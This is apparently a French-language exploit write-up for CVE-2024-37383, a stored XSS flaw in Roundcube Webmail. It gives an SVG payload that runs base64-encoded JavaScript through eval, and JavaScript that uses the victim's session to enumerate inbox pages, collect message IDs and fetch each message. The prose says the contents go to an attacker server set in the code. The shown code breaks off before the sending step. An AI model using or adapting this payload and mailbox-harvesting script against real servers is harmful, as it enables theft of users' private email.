
Exploit du serveur de messagerie Roundcube pour CVE-2024-37383 (Stored XSS)
La vulnérabilité CVE-2024-37383 a été découverte dans le client de messagerie Roundcube Webmail. Il s'agit d'une vulnérabilité XSS stockée qui permet à un attaquant d'exécuter du code JavaScript sur la page de l'utilisateur. Pour exploiter la vulnérabilité, il suffit aux attaquants d'ouvrir un courriel malveillant en utilisant une version du client Roundcube antérieure à 1.5.6 ou de 1.6 à 1.6.6.
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
Ce code automatise le processus de récupération de tous les messages de la boîte de réception d'un serveur Roundcube webmail et l'envoi de ces données à un point de terminaison spécifique du serveur collaborateur.
L'URL principale du webmail (cible) et l'URL du serveur récepteur (attackerserver) sont définies comme variables au début pour une configuration facile.
La fonction getPageCount envoie une requête GET à l'URL principale du webmail pour récupérer les métadonnées, y compris le nombre total de pages (pagecount). Si pagecount est trouvé, elle procède à une boucle sur chaque page.
Pour chaque page de 1 à pagecount, elle construit une URL paginée pour demander cette page. La réponse de chaque page est vérifiée pour les occurrences de add_message_row(NUMBER) à l'aide d'une expression régulière, extrayant les identifiants de message de chaque occurrence et rassemblant tous les identifiants dans une seule liste.
Pour chaque identifiant de message, le code construit une URL pour demander les données détaillées de ce message. Il envoie une requête GET pour chaque URL d'identifiant de message, recevant le HTML complet de la réponse.
Dans chaque réponse de message, il utilise une expression régulière pour capturer le (titre du message) et le contenu principal du message. Toutes les balises HTML sont supprimées du contenu du message pour ne conserver que le texte brut.
Pour chaque message extrait, une requête POST est effectuée vers le point de terminaison du serveur avec le titre et le contenu du message nettoyé, encodés en URL pour une transmission correcte.
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';
function getPageCount(url) {
var req = new XMLHttpRequest();
// Configure the request with credentials
req.open('GET', url, true);
req.withCredentials = true;
// Define the response handler
req.onload = function() {
if (req.status === 200) {
try {
// Parse the response as JSON
let jsonResponse = JSON.parse(req.responseText);
// Access the pagecount field
let pageCount = jsonResponse.env.pagecount;
if (pageCount !== undefined) {
// Array to store all message IDs
let allMessageIds = [];
let completedRequests = 0; // Track the number of completed requests
// Loop to request each page
for (let page = 1; page <= pageCount; page++) {
(function(currentPage) {
var pageReq = new XMLHttpRequest();
// Construct the URL with the current page number
var paginatedUrl = `${url}&_page=${currentPage}`;
// Configure the request
pageReq.open('GET', paginatedUrl, true);
pageReq.withCredentials = true;
// Define the response handler for each page
pageReq.onload = function() {
if (pageReq.status === 200) {
try {
// Get the response text
let responseText = pageReq.responseText;
// Use a regex to find all instances of this.add_message_row(NUMBER)
let messageRowRegex = /this\.add_message_row\((\d+)/g;
let matches;
// Find all matches and extract the numbers
while ((matches = messageRowRegex.exec(responseText)) !== null) {
allMessageIds.push(matches[1]);
}
} catch (error) {
// Error handling for page processing
}
}
completedRequests++; // Increment completed request count
// Check if all requests are completed
if (completedRequests === pageCount) {
// Loop through all message IDs and create URLs using each one
allMessageIds.forEach(id => {
// Construct a new URL with the current message ID
const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;
// Make a request for each constructed URL
(function(currentUrl) {
var messageReq = new XMLHttpRequest();
messageReq.open('GET', currentUrl, true);
messageReq.withCredentials = true;
// Define the response handler for the message request
messageReq.onload = function() {
if (messageReq.status === 200) {
// Get the response text
let messageResponseText = messageReq.responseText;
// Extract <title> content using regex
let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
let title = titleMatch ? titleMatch[1] : "No Title";